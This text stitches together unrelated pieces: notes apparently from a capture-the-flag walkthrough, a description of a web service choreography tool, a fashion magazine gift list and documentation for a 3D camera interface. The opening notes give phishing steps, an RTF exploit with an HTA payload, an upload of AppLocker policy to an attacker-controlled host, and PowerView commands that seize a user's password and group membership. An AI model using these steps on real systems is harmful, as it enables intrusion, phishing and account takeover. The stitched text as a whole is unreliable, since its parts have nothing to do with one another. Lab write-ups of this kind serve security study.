Anonymous FTP
Ping the machine and ttl=127, this is identification that the host/ip is a Windows machine
Ping the machine and ttl=64, this is identification that the host/ip is a Linux machine
Ping the machine and ttl=254, this is identification that the host/ip is likely a CISCO machine
ftp> mget * #this will recursively get everything
exiftool to extract metadata from documents, looking for users/emails/software/etc to craft a phishing email
creator<EMAIL_ADDRESS>Application: Microsoft Office Word
Some servers are picky about enclosing RCTP TO: in <>
HELO PleaseSubscribe.com
MAIL FROM<EMAIL_ADDRESS>RCPT TO<EMAIL_ADDRESS>DATA .
BYE
If the RCPT TO exists, it will say 250 OK. Otherwise it will have a 550 Unknown User. 250 OK if the domain is external.
Creating a "Canary" Document. Will load before macros so you can identify if the document is even opened in the first place.
Microsoft Word > Insert > Quick Parts > Field > Links and References
Select: IncludePicture
Filename or URL: http://<LHOST>/filename.jpg
rtf exploit: CVE-2017-0199
nishang to generate a malicious .hta payload
nishang/client/Out-HTA.ps1
Cool CLI tool to send email: sendEmail
Should be included in kali?
sendEmail -f<EMAIL_ADDRESS>-t<EMAIL_ADDRESS>-u "interesting subject" -m "Please convert" -a ippsec.rtf -s <email_server>
Enumerate AppLocker policy:
ps> $output = Get-ApplocakerPolicy -Effective -xml
Now let's upload via WebDav PUT to our Nginx server
ps> Invoke-RestMethod -Method PUT -Uri "http://<LHOST>:<LPORT>/filename_to_upload" -Body $output
Find PSCredential on Desktop, decrypt.
SSH with credentials. Find Bloodhound 'audit'.
Using sharphound.ps1
Import it into our windows reverse shell
Invoke-Bloodhound -CollectionMethod All
Copy the .zip back to our machine to analyze
Good article https://adsecurity.org/?p=3658
AD stuff regarding owners, properties, extended writes, etc.
PowerView to take advantage of an attack path (We are nico, Nico controls Herman, Herman can writeDACL to Backup_Admins)
Set-DomainObjectOwner -Identity Herman -OwnerIdentity nico
Add-DomainObjectacl -TargetIdentity Herman -PrincipaIdentity nico -Rights ResetPassword -Verbose
We now have ResetPassword rights over Herman
$pass = ConvertTo-SecureString 'PleaseSubscribe!' -AsPlainText -Force
Set-DomainUserPassword Herman -AccountPassword $pass
And now we have set Herman's password
We can confirm group ownerships (Herman isn't in Backup_Admins...yet)
Get-DomainGroup -MemberIdentity Herman | select samaccountname
$cred = New-Object System.management.Automation.PSCredential('HTB\Herman', 'PleaseSubscribe!')
Add-DomainGroupMember -Identity 'Backup_Admins' -Members Herman -Credential $cred
And now we (as Herman) are members of Backup Admins!
Administrator\Desktop\Backup Scripts and find a plain text password for administrator.
W00t.


OKeilidh is an online Web Service (WS) choreography management system, which
assists users in editing, publishing and testing WS choreography in the form of Interaction Models (IMs) encoded in xLCC.
An IM is a set of clauses defining the behaviours associated with roles within peer interactions and a
xLCC is an extension of the Lightweight Coordination Calculous (LCC) and fully interpretable in modern browsers. Here, "x" means not only "eXtension" but also "XMPP" which is the messaging protocol employed by xLCC to interpret peer interactions.
OKeilidh is an online Interaction Model (IM) management system, which assists users in editing, publishing and testing IMs written in xLCC. xLCC is an extension of the Lightweight Coordination Calculous (LCC) and fully interpretable in modern browsers. Here, "x" means not only "eXtension" but also "XMPP" which is the messaging protocol employed by xLCC to interpret peer interactions. The syntax of xLCC is described as follows:
| IM | := | Clause_List |
| Clauses_List | := | Clause | Clause_List |
| Clause | := | Role :: Def . | Role . | plays ( Constant , Constant) . | knows ( Constant ) . | iid ( Constant ) . |
| Role | := | a ( Type , Id ) |
| Def | := | Message | Def then Def | Def or Def | Def niob Def |
| Message | := | M => Role | M => Role <- C | M <= Role | C <- M <= Role | null <- C | Role | Role <- C |
| C | := | Constant | Constant ( Terms ) | not ( C ) | C && C | C || C | list ( Variable, Variable, Terms |
| Terms | := | Term , Terms | Term |
| Type | := | Term |
| Id | := | Constant | Variable |
| M | := | Constant ( Term ) |
| Term | := | Constant | Variable | Constant ( Terms ) | _ ) |
| Constant | := | lower case character, sequence or number |
| Variable | := | upper case character, sequence or number |
OKeilidh supports on-the-fly creation of the OpenKnowledge Component (OKC). Several methods which help users in creating OKCs are already wrapped in the PeerHelper by default when the OKC template is automatically generated, which are:
OKeilidh is under active development of Xi Bai at University of Edinburgh
OKeilidh requires your Jabber ID before rolling


Marie Claire Editors Share What's on Their Holiday Wish List
by Rachel EpsteinFor people who work at a fashion magazine, Marie Claire editors sure do love a great home essential (candles! roombas! croissant lamps!). And if there's one thing the MC team is good at, it's making a list—especially come holiday time. Ahead, the products we've been eyeing that would make excellent gifts (cough cough), if we do say so ourselves...
Burning Rose Scented Candle
Byredo
Net-a-Porter
$85.00
"I plan to purchase a Byredo candle in Burning Rose this holiday season for obvious reasons—namely the addicting smell! The calming scent of rose petals with notes of violet, leather, and birch tree is so invigorating, and I feel like it would add such a sweet and feminine touch to my apartment."
—Chelsea Hall, Executive Assistant to the Editor-in-Chief and Creative Director
Le Sac Riviera Leather Bag
Jacquemus
Moda Operandi
$600.00
"I’ve been holding out on buying a Jacquemus bag because I wanted to find the perfect one. My patience has been rewarded in the form of this Riviera handbag. It’s big enough to hold more than just my wallet, but small enough to look delicate and dainty."
—Marina Liao, Fashion News Editor
'Yale' Chelsea Boot
MARC FISHER LTD
Nordstrom
$71.98
"For the cost, I think these are the best Chelsea boots money can buy.  If you haven’t already guessed, I own a pair of these boots. If I get another pair for Christmas this year, it will be my third pair in life. Call me loyal, or cheap (because I’m pretty sure these are a Celine knockoff), but I say go with what you know works."
—Kayla Webley Adler, Features Director
Puffer Jacket
Everlane
$198.00
"I am definitely addicted to Everlane for its ethical ethos, but also for the quality of its garments. I also happen to need a new puffer coat in preparation for the icy Boston winter. This one offers the coverage I want, and the white is neutral yet still a good complement to all of my outfits. I'll match the inches feet of snow we're probably going to get this year!"
—Katherine J. Igoe, Contributing Editor
Biltec BA-35F 35mm Camera
Urban Outfitters
$30.00
"Capturing moments is a hobby of mine I want to take more seriously in the coming year. (I might as well capitalize on my skill of catching all of my friends' angles the best!) Most importantly, reminiscing on life experiences through film makes moments feel even more special. Over the summer, a friend of mine used this camera to snap epic shots of our shenanigans and the photos turned out so dope. iPhone cameras are futuristic, but film photos are timeless."
—Maya Allen, Digital Beauty Editor
Chanel Velvet Boots
Chanel
$1,475.00
"If Santa is real, he will make this miracle happen. I first saw these perfect boots in September when I did some sight-seeing in the Chanel boutique in Paris. I love the signature quilting detail and the subtle logo on the strap, which adds some delicateness and femininity to an otherwise sturdy boot. I imagine these to be the perfect throw-them-on-and-go boots with leggings and a sweater on the weekend or skinny jeans and a blazer on workdays. Mr. Claus, I promise I would wear these every day!!!"
—Sally Holmes, Digital Director
Visual Measuring Cups
MoMa Design Store
$26.00
“I cook a lot, and my measuring cups are beaten up so you can’t even read the numbers on them. But if I had this new set, that would never be an issue! I love how the intuitive design makes it easy to find the right cup instantly. Can someone get me these, please? I’ll cook you dinner if you do!”
—Jennifer Goldstein Sullivan, Beauty & Health Director
Track 2 Sneaker
BALENCIAGA
Nordstrom
$895.00
"I blame my final trip to Barneys for keeping these bad boys at the top of mind. Trying them on was my first mistake because I’ve already been imagining all of the track suit pants and mom jeans I can wear with these sneakers. I love their masculine appeal and how effortlessly understated the black-on-black design looks.  It’s called being resourceful, ya know?"
—M.A.
Beanie
Acne Studios
Farfetch
$150.00
"In Scandinavia they say, ‘There’s no such thing as bad weather; only bad clothes,” and I 100 percent agree. When I have super-warm winter gear that looks cool, the season seems less daunting. Last year, I had this Acne hat in black and I love it. But I’m trying to bring more color into my life, so I’d love this emerald green version. It’ll make dreary days more cheerful."
—J.G.S.
Croissant Lamp
Catbird NYC
$88.00
"This is a real croissant, preserved in resin and injected with a lil’ yellow bulb. I can’t decide whether I more want to eat it or spend winter evenings snuggled up next to it."
—Jenny Hollander, Deputy Editor
Dyson Pure Hot + Cool Air Purifier, Heater, and Fan
Dyson
Amazon
$649.00
"I know it’s not the trendiest thing in the world, but good air is a pretty bangin’ gift in my book. I’m cursed with year-long allergies and asthma, so a vacuum cleaner and standard HVAC system just doesn’t cut it. This air purifier has heating and cooling properties in addition to the purification factor, hooks up to Alexa, and monitors the room’s humidity levels. Plus, in true Dyson fashion, it looks like a piece of abstract sculpture—unlike other clunky air purifiers that are a real eyesore in the bedroom."
—Hana Hong, Beauty Assistant
The Essentials Faux Leather Moto Jacket
BLANKNYC
Nordstrom
$98.00
"I need a simple chic moto jacket, but I don't want to add more leather to my wardrobe. So, I've asked for this vegan option from my family this year—it's classic, not too pricey, and the gold hardware works with my everyday accessories. It also comes in burgundy and green if you're feeling more adventurous than me."
—K.J.I.
Wolf Gourmet Countertop Oven with Convection
Wolf Gourmet
Amazon
$679.95
"Don’t call it a toaster oven—it’s a countertop convection oven, and people I know who own one have all but abandoned their full-sized appliance to make everything from perfect roast chicken and fall-apart braised carnitas to quick breads and pastries. I love to cook, I love to eat even more, and I’d do more of both with this."
—Riza Cruz, Executive Editor
Mansel Hoodie
Isabel Marant Etoile
Shopbop
$299.44
"The winter is all about cozying up, and there's no better way to do it than in this Isabel Marant hoodie. I like the purposefully faded maroon logo on the front, and it instantly dresses up a pair of jeans—especially when worn with a pair of animal print boots."
—M.L.
AirPods with Wireless Charging Case
Apple
$199.00
"When one of my corded headphones stopped working, it was time for me to accept the inevitable: I need AirPods.  Nay, the person who drops theirs on the dirty subway floor, erupting in a full-on panic? Only time will tell."
—Megan DiTrolio, Associate Editor
JBL Soundbar with True Wireless Speakers
JBL
Amazon
$699.95
"My husband and I have thousands of movies on Blu-Ray, DVD, and VHS (yep, you read that right), but we also have two young kids. With this wireless surround-sound speaker system, movie night might feel like date night again...minus paying for a sitter."
—Joyce Bautista Ferrari, Managing Editor
iRobot Roomba i7+
iRobot
Amazon
$997.49
"Confession: I already own a robot vacuum, and it’s changed my life (ok, at least my Saturday housecleaning routine. It’s like having a second pair of hands.) No longer do I dread Swiffering hardwood and dragging out the hand vac for area rugs or ignoring missed hair strands and dust bunnies. Floors are now consistently clean—and the most effort I exerted was calling up Watchmen on the DVR. But I wouldn’t mind a truly hands-free upgrade to this model that empties itself."
—R.C.
Le Creuset Heritage Stoneware Rectangular Covered Casserole
Le Creuset
Williams-Sonoma
$110.00
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—Taylore Glynn, Associate Beauty & Health Editor
A SoulCycle Gift Card
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$500.00
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—T.G.
Plum Melange Chelsea Boots
Rothys
$145.00
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—J.H.
The Arrivals Moya IV Jacket
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$1,195.00
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—M.D.
Rolo Reversible Bit Loafer
SALVATORE FERRAGAMO
Nordstrom
$695.00
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Washable Silk Button Down Pant Set
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$258.00
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Image Acquisition Interface for ifm 3D Time of Flight Cameras (O3D3xx)
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Interface:
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O3D3xx
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Revision:
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13.0.4
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Date:
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2018-05-04
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General
This page provides the documentation of the HALCON image acquisition interface for ifm 3D time of flight cameras (O3D3xx).
Registered customers can download the
latest revision of this interface from the
MVTec WWW server.
System Requirements
- Intel compatible PC with Windows 7 (32-bit or 64-bit)
or newer that is also supported by the vendor-specific SDK,
also WoW64 (using 32-bit HALCON on 64-bit Windows), or Linux with kernel
2.6 (or higher).
- Windows: HALCON image acquisition interface hAcqO3D3xx.dll
or hAcqO3D3xxxl.dll, respectively. If you have properly installed
the interface, all these DLLs should reside in
bin\%HALCONARCH% within the HALCON base directory
%HALCONROOT% you have chosen during the installation of HALCON.
Linux: HALCON image acquisition interface hAcqO3D3xx.so or
hAcqO3D3xxxl.so, respectively.
If you have properly installed the interface, the shared objects
should reside in lib\$HALCONARCH within the HALCON base
directory $HALCONROOT you have chosen during the installation of HALCON.
Installation
Only when installing or updating the interface manually follow these steps:
- Windows: Extract the archive containing the interface files to the
HALCON base directory %HALCONROOT% (Note: Administrator privileges may be
required for this step). Additionally, you have to move the interface
examples to the directory %HALCONEXAMPLES% manually.
- Linux: Extract the archive containing the interface files to the
HALCON base directory $HALCONROOT.
Description
- Synchronous and asynchronous grabbing of x, y, and z images, amplitude and distance image, and some diagnostic data.
- Grabbing of the data delivered by the 3D time of flight camera (O3D3xx)
using the 'halcon_application' inside the camera. Synchronous grabs can
switch the trigger mode of the application. If the camera is currently in
'free_run' mode, it is switched to the trigger mode 'process_interface'.
Before each synchronous grab, a software trigger is implicitly sent and
ignores all images stored in the camera buffer. This can cause a delay if
the synchronous grab has to switch the trigger mode since then possibly
the complete buffer of the camera has to be flushed. In case that a
synchronous grab changed the trigger mode, this setting is reverted by the
next call of an asynchronous grab or close_framegrabber. An asynchronous
grab gets the next image on the camera if it is set to 'free_run' or to an
external trigger source. In case that the trigger mode is set to
'process_interface', grab_image_start performs a software trigger and
after each asynchronous grab a software trigger is performed, too.
Nevertheless, if a manual software trigger was executed before grabbing
asynchronously, the image from this trigger is received.
- If the camera is opened for the first time from HALCON, a new application
('halcon_application') will be created on the camera so that all settings
that are made do not influence other applications. In case that the
'halcon_application' already exists and is not active it will be
activated.
- Get and set parameters of the camera.
- XMLRPC fault messages are returned as Low Level Errors in HALCON.
Limitations
- Switching from 'trigger_mode' 'free_run' to any other mode flushes the camera buffers. This might take up to 1.5s and is implicitly done when
using synchronous grabs after asynchronous grabbing.
- Automatic discovery of the camera on the network is not supported. You
need to know the camera's IP address. Also you cannot switch the camera's
IP address from within HALCON.
- The password protection has to be turned off on the camera in order to
use the camera in HALCON.
- Creation and modification of camera applications other than
'halcon_application' is not possible.
- Automatic optimization of the parameters 'exposure_time' and
'exposure_time_ratio' is not possible.
- The interface only supports process interface version 3.
- Settings and applications cannot be imported or exported.
- It is not possible to choose which images should be returned by the
sensor.
- The parameter 'binning' is only available with firmware version 1.3.1001
or higher.
- The ability for setting the 'binning' value to 1 is disabled since firmware
version 1.6.2038.
| Parameter |
Value List |
Type |
Kind |
Description |
| 'defaults' |
[0, 0, 0, 0, 0, 0, 'default', 0, 'default', -1, 'false', 'default', 'default', -1, 0]
|
mixed |
pre-defined |
Default values for open_framegrabber. |
| 'general' |
[] |
string |
pre-defined |
Information about the HALCON O3D3xx interface. |
| 'parameters' |
['<parameters>'] |
string |
pre-defined |
Pre-defined parameters of the HALCON interface. |
| 'parameters_readonly' |
['<parameters>'] |
string |
pre-defined |
Pre-defined read-only parameters of the HALCON interface. |
| 'parameters_writeonly' |
['<parameters>'] |
string |
pre-defined |
Pre-defined write-only parameters of the HALCON interface. |
| 'revision' |
'<revision>' |
string |
pre-defined |
Revision number of the O3D3xx interface. |
The interface checks if the application 'halcon_application' exists on the camera. Otherwise it will be created and set as active application. If this
application already exists, it is checked if it is active and if
necessary, it will be activated. The timeout for connecting with the camera
can be set by a generic parameter.
| Parameter |
Values |
Default |
Type |
Description |
| Name |
'O3D3xx' |
'O3D3xx' |
string |
Name of the HALCON interface. |
| HorizontalResolution |
--- |
|
|
Unused. |
| VerticalResolution |
--- |
|
|
Unused. |
| ImageWidth |
--- |
|
|
Unused. |
| ImageHeight |
--- |
|
|
Unused. |
| StartRow |
--- |
|
|
Unused. |
| StartColumn |
--- |
|
|
Unused. |
| Field |
--- |
|
|
Ignored. |
| BitsPerChannel |
--- |
|
|
Unused. |
| ColorSpace |
--- |
|
|
Unused. |
| Generic |
'', 'connect_timeout=<milliseconds>', -1 |
-1 |
mixed |
With the generic parameter, the timeout that is used during the connection with the camera can be specified.
|
| ExternalTrigger |
--- |
|
|
Unused. |
| CameraType |
--- |
|
|
Unused. |
| Device |
'default', '<ip_address>' |
default |
string |
The device has to be identified by the IP address. If default is chosen, the standard IP address '<IP_ADDRESS>' is used to identify the camera.
|
| Port |
--- |
|
|
Unused. |
| LineIn |
--- |
|
|
Unused. |
Read the camera manual for further details of the parameters.
| Parameter |
Values |
Default |
Type |
Description |
| 'binning' |
1, 2 |
2 |
integer |
Enable or disable binning on the camera. If the binning is set to 2 the resulting resolution is 176x132. Otherwise the sensor will
return the full resolution of 352x264.
|
| 'camera_name' |
'<camera_name>' |
'New Sensor' |
string |
Name of the camera (max. 64 characters). |
| 'channel' |
0, 1, 2, 3 |
0 |
integer |
Frequency channel. |
| 'description' |
'<description>' |
'' |
string |
Description of the camera (max. 500 characters). |
| 'distance_unit' |
'millimeter','meter' |
'millimeter' |
string |
If the parameter 'pixel_format' is set to 'Mono32F', this parameter specifies the unit of distance for the X-, Y-, Z- and distance
image.
|
| 'do_software_trigger' |
any |
1 |
any |
Action parameter that performs a software trigger. In order to perform a software trigger, the parameter 'trigger_mode' has to be set to
'process_interface'. The forwarded value will be ignored and can be set
arbitrarily.
|
| 'exposure_time' |
1...10000 |
1000 |
integer |
Exposure time of the long exposure in milliseconds. This parameter is only available if the parameter 'imager_configuration_type' is set to a
value ending with '_low' or '_moderate'.
|
| 'exposure_time_ratio' |
2...50 |
40 |
integer |
Ratio of the long exposure time to the short exposure time. This parameter is only available if the parameter 'imager_configuration_type' is
set to a value ending with '_moderate'.
|
| 'frame_rate' |
0.0167 ... 30 |
5 |
float |
Frame rate of the camera in frames per second. |
| 'grab_timeout' |
<milliseconds> |
5000 |
integer |
Desired timeout (milliseconds) for aborting a pending grab. If -1 is specified, the timeout is set to INFINITE.
|
| 'imager_configuration_type' |
'under5m_low', 'under5m_moderate', 'under5m_high', 'upto30m_low', 'upto30m_moderate', 'upto30m_high',
'morethan30m_low', 'morethan30m_moderate'
|
'under5m_low' |
string |
Configuration type of the imager. This parameter also specifies the availability of the parameters 'exposure_time' and
'exposure_time_ratio'.
|
| 'mask_size' |
'3x3', '5x5' |
'3x3' |
string |
Mask size of the spatial filter. This parameter is only available if the parameter 'spatial_filter_type' is not set to 'off'.
|
| 'number_of_images' |
2...25 |
2 |
integer |
Number of images used for the temporal mean filter. This parameter is only available if the parameter 'temporal_filter_type' is set
to 'temporal_mean_filter'.
|
| 'pixel_format' |
'Raw16','Mono32F' |
'Raw16' |
string |
The format of the returned images is switched with this parameter. If Raw16 is used, the images will be returned in the format as
given by the sensor (X, Y and Z as int2 images, distance and amplitude image
as uint2 images). If 'Mono32F' is chosen all images, except the confidence
image, will be internally converted into a real image. In both cases the
confidence image is returned as byte image. For 'Raw16' the parameter
'distance_unit' is ignored.
|
| 'spatial_filter_type' |
'off', 'median_filter', 'mean_filter', 'bilateral_filter' |
'off' |
string |
Spatial filter that is used on the camera after acquisition. This parameter also specifies the availability of the parameter 'mask_size'.
|
| 'temporal_filter_type' |
'off', 'temporal_mean_filter', 'adaptive_exponential_filter' |
'off' |
string |
Temporal filter that is used on the camera after acquisition. This parameter also specifies the availability of the parameter
'number_of_images'.
|
| 'temporary_channel' |
0, 1, 2, 3 |
0 |
integer |
Temporarily set the frequency channel. This parameter can be set while the camera is in run mode, however, this parameter is not
persistent and is lost when setting any non-temporary parameter.
|
| 'temporary_exposure_time' |
1...10000 |
1000 |
integer |
Temporarily set the value of the exposure time of the long exposure in milliseconds. This parameter can be set while the camera is in run mode.
However, this parameter is only available if the parameter
'imager_configuration_type' is set to a value ending with '_low' or '_moderate'.
This parameter is not persistent and is lost when setting any non-temporary
parameter.
|
| 'temporary_exposure_time_ratio' |
2...50 |
40 |
integer |
Temporarily set the value of the ratio of the long exposure time to the short exposure time. This parameter can be set while the camera is in run
mode. However, this parameter is only available if the parameter
'imager_configuration_type' is set to a value ending with '_moderate'.
This parameter is not persistent and is lost when setting any non-temporary
parameter.
|
| 'trigger_mode' |
'free_run', 'process_interface', 'positive_edge', 'negative_edge', 'positive_and_negative_edge'
|
'free_run' |
string |
Triggered mode. In 'free_run' mode the camera continuously captures images (and buffers up to 50 images on the
internal camera storage). If set to 'process_interface' the camera only
captures an image if a software trigger is send (this feature is not yet
implemented). The last three modes correspond to the hardware trigger.
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There may exist additional read-only parameters with the following postfixes:
- '_description': These parameters provide the tool-tip of the
corresponding parameter as a string.
- '_range': These parameters provide the minimum, maximum,
step width, and default values for the corresponding integer or float
parameter as a tuple with 4 elements, e.g.,
get_framegrabber_param(.., 'Shutter_range', ..) will return
the output tuple [min, max, step, default].
- '_values': These parameters provide the valid value list for
the corresponding parameter as a tuple, e.g.,
get_framegrabber_param(.., 'volatile_values', ..) will return
the output tuple ['enable', 'disable'].
All these postfixed parameter names are not returned when calling
info_framegrabber(.., 'parameters', ..) and are used
to enable the easy parameterization via a generic graphical user
interface, particularly the HDevelop Image Acquisition Assistant.
| Parameter |
Values |
Default |
Type |
Kind |
Description |
| 'article_number' |
'<article_number>' |
'O3D300' |
string |
dynamic |
Article number of the camera. |
| 'binning' |
1, 2 |
2 |
integer |
dynamic |
Enable or disable binning on the camera. If the binning is set to 2 the resulting resolution is 176x132. Otherwise the sensor will
return the full resolution of 352x264.
|
| 'camera_name' |
'<camera_name>' |
'New Sensor' |
string |
dynamic |
Name of the camera (max. 64 characters). |
| 'channel' |
0, 1, 2, 3 |
0 |
integer |
dynamic |
Frequency channel. |
| 'connect_timeout' |
<milliseconds> |
5000 |
long |
dynamic |
Timeout for connecting to the camera in milliseconds. |
| 'description' |
'<description>' |
'' |
string |
dynamic |
Description of the camera (max. 500 characters). |
| 'device' |
'<ip_address>' |
'<IP_ADDRESS>' |
string |
dynamic |
IP address of the camera. |
| 'device_port' |
<device_port> |
50010 |
integer |
dynamic |
Port number of the PCIC socket as documented in the ifm manual. |
| 'distance_unit' |
'millimeter','meter' |
'millimeter' |
string |
dynamic |
If the parameter 'pixel_format' is set to 'Mono32F', this parameter specifies the unit of distance for the X-, Y-, Z- and distance
image.
|
| 'exposure_time' |
1...10000 |
1000 |
integer |
dynamic |
Exposure time of the long exposure in milliseconds. This parameter is only available if the parameter 'imager_configuration_type' is set to a
value ending with '_low' or '_moderate'.
|
| 'exposure_time_ratio' |
2...50 |
40 |
integer |
dynamic |
Ratio of the long exposure time to the short exposure time. This parameter is only available if the parameter 'imager_configuration_type' is
set to a value ending with '_moderate'.
|
| 'firmware_version' |
'<firmware_version>' |
'' |
string |
dynamic |
Firmware version installed on the camera. |
| 'frame_rate' |
<fps> |
5 |
float |
dynamic |
Frame rate of the camera in frames per second. |
| 'grab_timeout' |
<milliseconds> |
5000 |
integer |
pre-defined |
Current grab timeout in milliseconds. |
| 'image_height' |
<image_height> |
132 |
integer |
pre-defined |
Current image height. |
| 'image_width' |
<image_width> |
176 |
integer |
pre-defined |
Current image width. |
| 'imager_configuration_type' |
'under5m_low', 'under5m_moderate', 'under5m_high', 'upto30m_low', 'upto30m_moderate', 'upto30m_high',
'morethan30m_low', 'morethan30m_moderate'
|
'under5m_low' |
string |
dynamic |
Configuration type of the imager. This parameter also specifies the availability of the parameters 'exposure_time' and
'exposure_time_ratio'.
|
| 'mask_size' |
'3x3', '5x5' |
'3x3' |
string |
dynamic |
Mask size of the spatial filter. This parameter is only available if the parameter 'spatial_filter_type' is not set to 'off'.
|
| 'name' |
'O3D3xx' |
'O3D3xx' |
string |
pre-defined |
Name of the HALCON interface. |
| 'number_of_images' |
2...25 |
2 |
integer |
dynamic |
Number of images used for the temporal mean filter. This parameter is only available if the parameter 'temporal_filter_type' is set
to 'temporal_mean_filter'.
|
| 'pixel_format' |
'Raw16','Mono32F' |
'Raw16' |
string |
dynamic |
The format of the returned images is switched with this parameter. If Raw16 is used, the images will be returned in the format as
given by the sensor (X, Y and Z as int2 images, distance and amplitude image
as uint2 images). If 'Mono32F' is chosen all images, except the confidence
image, will be internally converted into a real image. In both cases the
confidence image is returned as byte image. For 'Raw16' the parameter
'distance_unit' is ignored.
|
| 'revision' |
'<revision>' |
|
string |
pre-defined |
Revision number of the O3D3xx interface. |
| 'spatial_filter_type' |
'off', 'median_filter', 'mean_filter', 'bilateral_filter' |
'off' |
string |
dynamic |
Spatial filter that is used on the camera after acquisition. This parameter also specifies the availability of the parameter 'mask_size'.
|
| 'temporal_filter_type' |
'off', 'temporal_mean_filter', 'adaptive_exponential_filter' |
'off' |
string |
dynamic |
Temporal filter that is used on the camera after acquisition. This parameter also specifies the availability of the parameter
'number_of_images'.
|
| 'trigger_mode' |
'free_run', 'process_interface', 'positive_edge', 'negative_edge', 'positive_and_negative_edge'
|
'free_run' |
string |
dynamic |
Current state of the triggered mode. In 'free_run' mode the camera continuously captures images (and buffers up to 50 images on the
internal camera storage. If set to 'process_interface' the camera only
captures an image if a software trigger is send (this feature is not yet
implemented). The last three modes correspond to the hardware trigger.
|
| 'xmlrpc_port' |
<xmlrpc_port> |
80 |
integer |
dynamic |
Port number of the socket used for the XMLRPC communication. |
Not supported by this interface.
Not supported by this interface.
Not supported by this interface.
Not supported by this interface.
Starts a new asynchronous grab. See also
grab_image_start. If a synchronous grab changed the trigger mode this setting is reverted.
In case that the trigger mode is set to 'process_interface'
grab_image_start
sends a software trigger in order to start an asynchronous grab. However,
if a software trigger is send via
set_framegrabber_param the image captured
with this trigger will be returned by the next asynchronous grab.
grab_image starts a new synchronous grab. See also
grab_image. In case of the trigger mode set to 'free_run' it will be implicitly changed
to 'process_interface'. The image buffer on the camera is flushed to
ensure that a new image is captured.
The z-image is returned in Cartesian coordinates as int2 or real, depending
on the value of the 'pixel_format'.
The unit is millimeter, but if the 'pixel_format' is set to 'Mono32F', the
unit can be changed to meter using the 'distance_unit' parameter.
grab_image_async starts a new asynchronous grab. See also
grab_image_async. If a synchronous grab changed the trigger mode this setting is reverted.
In case that the trigger mode is set to 'process_interface' manually a
software trigger is performed after retrieving the image from the camera.
The parameter 'MaxDelay' is ignored.
The z-image is returned in Cartesian coordinates as int2 or real, depending
on the value of the 'pixel_format'.
The unit is millimeter, but if the 'pixel_format' is set to 'Mono32F', the
unit can be changed to meter using the 'distance_unit' parameter.
grab_data returns six images synchronously. In case of the trigger mode set to 'free_run' it will be implicitly changed to 'process_interface'. The
image buffer on the camera is flushed to ensure that a new image is captured.
In addition the tuple Data holds some diagnostic data that is provided with
the images and the exposure times for this frame.
| Parameter |
Type |
Count |
Description |
| 'image' |
|
6 |
This parameter returns all six images delivered by the camera during the acquisition.
- x-image in Cartesian coordinates (int2 in millimeter or real in
millimeter or meter)
- y-image in Cartesian coordinates (int2 in millimeter or real in
millimeter or meter)
- z-image in Cartesian coordinates (int2 in millimeter or real in
millimeter or meter)
- normalized amplitude image (uint2 or real)
- distance image (uint2 in millimeter or real in millimeter or meter)
- confidence image (byte)
|
| 'data' |
|
12 |
This tuple holds the diagnostic data delivered during the grab of the current images.
- illumination temperature in 0.1 degree Celsius
- frontend temperature 1 in 0.1 degree Celsius
- frontend temperature 2 in 0.1 degree Celsius
- i.mx6 temperature in 0.1 degree Celsius
- processing time in ms
- framecount of the data
- timestamp of the data in µs (deprecated)
- timestamp of the data in s
- timestamp of the data in ns
- exposure time 1 of the frame
- exposure time 2 of the frame
- exposure time 3 of the frame
|
grab_data_async returns six images asynchronously. If a synchronous grab changed the trigger mode this setting is reverted.
In case that the trigger mode is set to 'process_interface' manually a
software trigger is performed after retrieving the image from the camera.
The parameter 'MaxDelay' is ignored.
In addition the tuple Data holds some diagnostic data that is provided with
the images.
| Parameter |
Type |
Count |
Description |
| 'image' |
|
6 |
This parameter returns all six images delivered by the camera during the acquisition.
- x-image in Cartesian coordinates (int2 in millimeter or real in
millimeter or meter)
- y-image in Cartesian coordinates (int2 in millimeter or real in
millimeter or meter)
- z-image in Cartesian coordinates (int2 in millimeter or real in
millimeter or meter)
- normalized amplitude image (uint2 or real)
- distance image (uint2 in millimeter or real in millimeter or meter)
- confidence image (byte)
|
| 'data' |
|
12 |
This tuple holds the diagnostic data delivered during the grab of the current images.
- illumination temperature in 0.1 degree Celsius
- frontend temperature 1 in 0.1 degree Celsius
- frontend temperature 2 in 0.1 degree Celsius
- i.mx6 temperature in 0.1 degree Celsius
- processing time in ms
- framecount of the data
- timestamp of the data in µs (deprecated)
- timestamp of the data in s
- timestamp of the data in ns
- exposure time 1 of the frame
- exposure time 2 of the frame
- exposure time 3 of the frame
|
HDevelop Examples
For this interface there are the following examples available:
- o3d3xx_simple.hdev - A simple example to show the usage
of the interface.
- o3d3xx_parameters.hdev - Lists all parameters of a device.
- o3d3xx_objectmodel3d.hdev - Shows how to generate an object
model 3D from the retrieved data.
- o3d3xx_valid_data.hdev - Shows how to use the confidence
image in order to find out which data points are valid.
- o3d3xx_temporary_parameters.hdev - Shows how to use the
temporary parameters.
Release Notes
- Revision 13.0.4 (May 4, 2018):
- When getting info_framegrabber 'parameters' and get_framegrabber_param
'available_param_names' returned an error. This problem
has been fixed.
- Removed unnecessary checking on o3d3xx_parameters.hdev
example.
- Revision 13.0.3 (Feb 1, 2018):
- The technical dependency from the HALCON Library has been removed.
- With firmware version 1.20.67 the compatibility was broken. This
problem has been fixed.
- Added parameter 'connect_timeout' to get_framegrabber_param.
- Revision 13.0.2 Addendum (Jun 19, 2017):
- This documentation was inconsistent about the additional values
returned by grab_data. This problem has been fixed.
- Revision 13.0.2 (Apr 27, 2017):
- When using a firmware version higher than 1.5.x grabbing images led
to a crash. This problem has been fixed.
- The operator grab_data returns five additional values in the Data
tuple. These values are the exposure times used for this frame. If
the camera is used in a mode with only one or two exposures, the
remaining exposure times will be zero. Please note, that this feature
is only available with firmware version 1.8.x or higher. When using
a lower firmware version the returned values will be zero.
- Three temporary parameters have been added that can be set while the
camera is in run mode. These changes are not persistent and are lost
when entering edit mode, i.e. when changing any non-temporary parameter
using set_framegrabber_param. The three new parameters are
'temporary_exposure_time', 'temporary_exposure_time_ratio' and
'temporary_channel'. Please note, that this feature is only available
with firmware version 1.8.x or higher.
- The example o3d3xx_temporary_parameters.hdev has been
added that shows how to use the new temporary parameters.
- Revision 13.0.1 (Oct 28, 2016):
- HALCON 13 version of the interface.
- Revision 6.5 (Mar 29, 2016):
- If binning was disabled, the values of the image size were not set
correctly. This problem has been fixed.
- Querying the possible values of the parameter 'binning' returned zero
as a possible value, which isn't correct. The list has been corrected.
- Revision 6.4 (Mar 2, 2016):
- The minimum value expected by the parameter 'exposure_time' was 0,
but the correct minimum value is 1. This problem has been fixed.
- The 'imager_configuration_type_values' parameter returned the
unsupported value 'morethan30m_high'. This value has been removed.
